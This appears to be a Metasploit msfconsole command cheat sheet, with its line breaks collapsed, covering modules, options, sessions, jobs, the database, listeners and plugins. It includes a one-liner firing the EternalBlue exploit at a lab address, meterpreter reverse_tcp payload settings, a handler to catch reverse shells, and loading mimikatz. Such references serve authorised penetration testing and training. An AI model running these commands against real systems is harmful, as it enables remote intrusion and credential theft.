msfconsole # Standard launchmsfconsole -q # Quiet mode (no banner)msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.10.10.10; run" # Run command on start
Module type (exploit, auxiliary, post, payload, encoder)
platform:
platform:windows
Target OS
arch:
arch:x64
Target architecture
rank:
rank:excellent
Module reliability rank
cve:
cve:2021-44228
CVE number
osvdb:
osvdb:12345
OSVDB reference
author:
author:hdm
Module author
app:
app:client
Client-side vs server-side
📌 3) Using Modules
use <module_path>use exploit/windows/smb/ms17_010_eternalblueuse 3 # Use by search result numberinfo # Show full module info (description, options, references)show options # Show configurable optionsshow advanced # Show advanced optionsshow targets # Show supported targetsshow payloads # Show compatible payloads for current moduleshow evasion # Show evasion optionscheck # Check if target is vulnerable (if supported)
📌 4) Setting Options
set <OPTION> <value> # Set option for current moduleset RHOSTS 10.10.10.10set RHOSTS 10.10.10.0/24 # Subnetset RHOSTS file:/tmp/hosts.txt # Hosts from fileset RPORT 445set LHOST 10.10.14.5set LPORT 4444set payload windows/x64/meterpreter/reverse_tcpunset <OPTION> # Clear a single optionunset all # Clear all optionssetg <OPTION> <value> # Set GLOBAL (persists across modules)setg LHOST 10.10.14.5unsetg <OPTION> # Clear global optionget <OPTION> # Print current value of an option
Common Options
Option
Description
RHOSTS
Target host(s) / IP / range / file
RPORT
Target port
LHOST
Your listener IP (reverse connection)
LPORT
Your listener port
payload
Payload to deliver
TARGET
Specific target index (from show targets)
THREADS
Number of concurrent threads (aux modules)
USERNAME / PASSWORD
Credentials for auth modules
SRVHOST / SRVPORT
Host/port for MSF listener/server
SSL
Use SSL/TLS
VERBOSE
Enable verbose output
ConnectTimeout
Seconds before connection attempt times out
📌 5) Running Modules
run # Execute the current moduleexploit # Alias for run (exploit context)run -j # Run as a background jobexploit -j # Same — run exploit as jobrun -z # Run and background session immediately on successexploit -e <encoder> # Run exploit with a specific encoder
📌 6) Session Management
sessions # List all active sessionssessions -l # Long listing (same as sessions)sessions -i <ID> # Interact with session (foreground it)sessions -b <ID> # Background a sessionsessions -k <ID> # Kill a sessionsessions -K # Kill ALL sessionssessions -u <ID> # Upgrade shell to Meterpretersessions -c <cmd> # Run a command on all sessionssessions -x # List sessions with extra info
Session types
Type
Description
shell
Basic OS shell (cmd.exe, /bin/sh)
meterpreter
Full Metasploit meterpreter session
powershell
PowerShell session
vnc
VNC viewer session
📌 7) Jobs
jobs # List running background jobsjobs -l # Same as jobsjobs -i <ID> # Show job detailsjobs -k <ID> # Kill a jobjobs -K # Kill ALL jobs
db_status # Check DB connection statusworkspace # List workspacesworkspace -a <name> # Create new workspaceworkspace -d <name> # Delete workspaceworkspace <name> # Switch to workspacedb_nmap <nmap flags> <target> # Run Nmap and store results in DBdb_import <file> # Import scan results (Nmap XML, Nessus, etc.)db_export -f xml output.xml # Export DB datahosts # List discovered hostshosts -c address,os_name # Columns filterhosts -S <search> # Search hostsservices # List discovered servicesservices -p 445 # Filter by portservices -S smb # Filter by service namevulns # List found vulnerabilitiesloot # List captured loot (files, hashes, etc.)creds # List stored credentialsnotes # List notes attached to hosts
📌 9) Handlers (Listeners)
Set up a standalone listener to catch reverse shells:
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.14.5set LPORT 4444run -j # Run as background job so console stays free
Tip: Always use exploit/multi/handler when catching shells from payloads you generated with msfvenom.
📌 10) Useful Utilities
connect -h # nc-like TCP/UDP connect from msfconsoleconnect 10.10.10.10 4444load <plugin> # Load a pluginload mimikatz # Load mimikatz plugin (if available)spool /tmp/msf_log.txt # Log all output to filespool off # Stop loggingmakerc /tmp/setup.rc # Save all commands run so far to a .rc fileresource /tmp/setup.rc # Load and execute a .rc scripthistory # Show command historygrep <pattern> <command> # Filter output (e.g. grep meterpreter show payloads)